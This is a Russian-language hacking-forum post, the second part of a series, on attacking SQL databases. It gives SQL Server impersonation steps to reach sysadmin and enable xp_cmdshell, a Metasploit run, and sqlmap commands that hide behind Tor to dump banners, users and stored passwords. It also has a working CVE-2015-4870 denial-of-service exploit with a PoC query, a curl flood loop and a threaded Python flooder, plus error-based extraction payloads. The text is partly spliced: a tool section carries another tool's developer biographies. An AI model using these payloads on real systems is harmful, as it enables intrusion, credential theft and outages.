Интересно Атаки на MySQL: теория, инструменты, примеры и практика: Часть 2

Takeshi

Перо Дьявола
Команда форума
PR-group
CPA & Трафик
Регистрация
23 Янв 2019
Сообщения
1,351
Баллы
0
Общие продажи
0$
Общие покупки
0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии IMPERSONATE и функцию EXECUTE AS, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = 'secret';
CREATE LOGIN User2 WITH PASSWORD = 'secret';
CREATE LOGIN User3 WITH PASSWORD = 'secret';
CREATE LOGIN User4 WITH PASSWORD = 'secret';

Затем даем пользователю User1 привилегии исполнять запросы от имени sa, User2, User3:

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

Логинимся в SQL Server под учетной записью User1 и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 0

Ну а сейчас собственно сам трюк — выполним запрос от имени sa, так как выше мы дали привилегии учетной записи User1 выполнять запросы от имени sa:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 1

Все в порядке, теперь можем выполнять команды от имени sa, а значит, можно включить хранимую процедуру xp_cmdshell:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита mssql_escalete_executeas_sqli:

use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! User1 is now a sysadmin!

Тулзы для тестирования безопасности MYSQL.
1.MSSQL Injection Helper - инжектим в код по быстрому.


  • MSSQL Injection Helper — это одна из множества утилит, предназначенных для работы с SQL-инъекциями. Однако основная ее особенность состоит в том, что она заточена исключительно под базы данных MSSQL. Такие утилиты не слишком часто встречаются в наше время, когда наиболее широкое распространение получили программы для раскрутки MySQL-инъекций.
Начать работу с программой не просто, а очень просто! MSSQL Injection Helper не требует установки, так что распаковывай архив в любое удобное для тебя место на диске, вбивай в соответствующее поле URL уязвимого скрипта (например, site.com/script.asp?id=1) и начинай работу.

Разработкой сканера занимаются два человека. Мирослав Штампар (@stamparm), профессиональный разработчик софта из Хорватии, и Бернардо Дамеле (@inquisb), консультант по ИБ из Италии, сейчас проживающий и работающий в Великобритании. Проект появился на свет в 2006 г. благодаря Даниэлю Беллучи (@belch), но по-настоящему стремительно стал развиваться после того, как в 2009 г. в работу включились Мирослав и Бернардо.

2.SQLMap - главный таран для БД.
Итак, что такое sqlmap? Одна из мощнейших открытых утилит для пентестера, которая автоматизирует процесс поиска и эксплуатации SQL-инъекций с целью извлечения данных или захвата удаленного хоста. Что делает sqlmap отличным от других утилит для обнаружения SQL-инъекций, так это возможность эксплуатировать каждую найденную уязвимость. Это означает, что sqlmap способен не только находить «дырку», но еще и заюзать ее по полной программе.

Сканер из коробки идет с огромным функционалом, начиная от возможности определения системы управления базой данных (далее DBMS), создания дампа (копии) данных и заканчивая получением доступа к системе с возможностью обращаться к произвольным файлам на хосте и выполнять на сервере произвольные команды. И все-таки главное — это обнаружение возможности сделать инъекцию SQL-кода.

Какие уязвимости может находить SQLMAP?
Есть пять основных классов SQL-инъекций, и все их поддерживает sqlmap:

  • UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SELECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. Sqlmap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
  • Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
  • Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
  • Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. Sqlmap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в sqlmap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
  • Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.
Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник. Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.

Приступаем к практике.
Надо сказать, что sqlmap написан на Python’е, а значит, ты сможешь запустить его под любой ОС. Единственное требование — это установленный в системе интерпретатор пайтона. В качестве объекта для теста на проникновение я буду использовать виртуальную машину, на которой будет крутиться стандартный стек LAMP (Linux/Apache/MySQL/PHP) вместе с несколькими уязвимыми веб-приложениями.

Сценарий № 1
Условимся, что мы хотим проэксплуатировать уязвимость, которая была найдена в GET-параметре «id» веб-страницы, расположенной по адресу

Please Login or Register to view hidden text.

(для указания URL будет ключ -u). Чтобы снизить подозрительную активность, мы будем маскироваться под обычный браузер (ключ —random-agent), а для подключения использовать защищенный канал TOR-сети (—tor). Итак, запускаем sqlmap:

$ python sqlmap.py -u "

Please Login or Register to view hidden text.

" --random-agent --torsqlmap/1.0-dev (r4365) — automatic SQL injection and database takeover tool

Сканер определит несколько точек для выполнения инъекций в 17 HTTP(S)-запросах. Обрати внимание, что для каждой из них указывается тип, а также пэйлоад.

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=1 AND 1826=1826
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(),CONCAT(CHAR(58,98,116,120,58), (SELECT (CASE WHEN (8532=8532) THEN 1 ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) — 3 columns
Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116,120,58), IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CHAR),CHAR(32)),CHAR(58,98,121,102,58))
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(10)

Помимо этого, сканер выполнит распознавание базы данных, а также других технологий, использованных веб-приложением:

[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0

В конце концов полученные данные будут записаны в определенный файл:

[02:01:45] [INFO] Fetched data logged to text fi les under '/opt/sqlmap/output/www.site.com'

Сценарий № 2
Теперь следующий пример. Предположим, что мы хотим устроить более детальный fingerprinting (-f) и получить текстовый баннер (—banner) системы управления базой данных, включая ее официальное название, номер версии, а также текущего пользователя (—current-user). Кроме того, нас будут интересовать сохраненные пароли (—passwords) вместе с именами таблиц (—tables), но не включая системные, (—exclude-sysdbs) — для всех содержащихся в СУБД баз данных. Нет проблем, запускаем сканер:

$ python sqlmap.py -u "

Please Login or Register to view hidden text.

" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs

Очень скоро мы получим все данные об используемых технологиях, которые запрашивали:

[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fi ngerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fingerprint
Error-based SQL injection web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: active fi ngerprint: MySQL >= 5.1.12 and < 5.5.0
comment injection fi ngerprint: MySQL 5.1.41
banner parsing fi ngerprint: MySQL 5.1.41
banner: ‘5.1.41-3~bpo50+1’

После — имя текущего пользователя:

[02:08:28] [INFO] fetching current user
current user: 'root@localhost'

Пример атаки на MySQL (готовый эксплойт)
DoS в функции procedure analyse() из MySQL CVE: 2015-4870

Автор эксплоита нашел возможность вызвать DoS в MySQL версий до 5.5.45 включительно. В функции procedure analyse() падение происходит при обработке подзапроса.

Пример вызова функции:

select * from `table_name`
procedure analyse((select*from(select 1)x),1);

Соответственно, PoC будет таким:

select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);

Проверка:

mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR: Can't connect to the server
mysql>


Другой пример атаки — это запуск полезной нагрузки, которая была сохранена в файл и подана на вход

Please Login or Register to view hidden text.

(он показан на скриншоте ниже).


Если после появления сообщения о падении проверить лог вывода Event Viewer, то ты сможешь увидеть, что приложение

Please Login or Register to view hidden text.

действительно упало. При этом смещение для указателя на ошибку будет равно 0x000607f4.


Реализация DoS-атаки.
В качестве тестового стенда автор использовал

Please Login or Register to view hidden text.

.

Если атакующий найдет веб-приложение, уязвимое к SQL-инъекции, то он сможет с легкостью провести DoS-атаку, MySQL-сервер перестанет отвечать и все используемые базы данных тоже перестанут быть доступными.

В Windows достаточно простого запроса для вызова падения и, скорее всего, понадобится ручная перезагрузка:


Please Login or Register to view hidden text.

' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#


На *nix-системах mysqld автоматически восстанавливается, но если мы пошлем многочисленные GET-запросы с такой полезной нагрузкой, то база данных все равно упадет.

Пример такой атаки с помощью bash-скрипта, который использует cURL для GET-запросов:

while true;
do curl "

Please Login or Register to view hidden text.

" > /dev/null 2>&1
done;

Помимо небольшого bash-скрипта, автор написал версию эксплоита на Python:

class DoS(threading.Thread):
def run(self):
print("{0} started!".format(self.getName()))
for i in range(100):
urllib2.urlopen(req)

time.sleep(.2)
print("{0} finished!".format(self.getName()))
...
for i in range(10000):
thread = DoS(name = "[+] Thread-{0}".format(i + 1))
thread.start()
time.sleep(.1)


Исходный код и оригинальную статью автора ты можешь найти в его

Please Login or Register to view hidden text.

. Еще автор записал небольшое демонстрационное

Please Login or Register to view hidden text.

.

Также функция procedure analyse() может помочь при проведении атаки через SQL-инъекцию. Это позволяет легче определить число колонок. Результат выполнения представлен на скриншоте, где количество выводов равняется количеству колонок.


Please Login or Register to view hidden text.

' procedure analyse()-- -&Submit=Submit#


В примерах атаки, где место для инъекции находится после limit, ты можешь использовать procedure analyse() вместе с функциями updatexml и extractvalue в качестве подзапросов.

select username,password from users
order by 1 desc
limit 0,1
procedure analyse(updatexml(1,concat(0x7e,(version())),0),1);


select username,password from users
order by 1 desc
limit 0,1
procedure analyse(extractvalue(1,concat(0x7e,database())),1);

Производитель выпустил

Please Login or Register to view hidden text.

.

Дополнительное чтиво.
Шпаргалка по командам

Please Login or Register to view hidden text.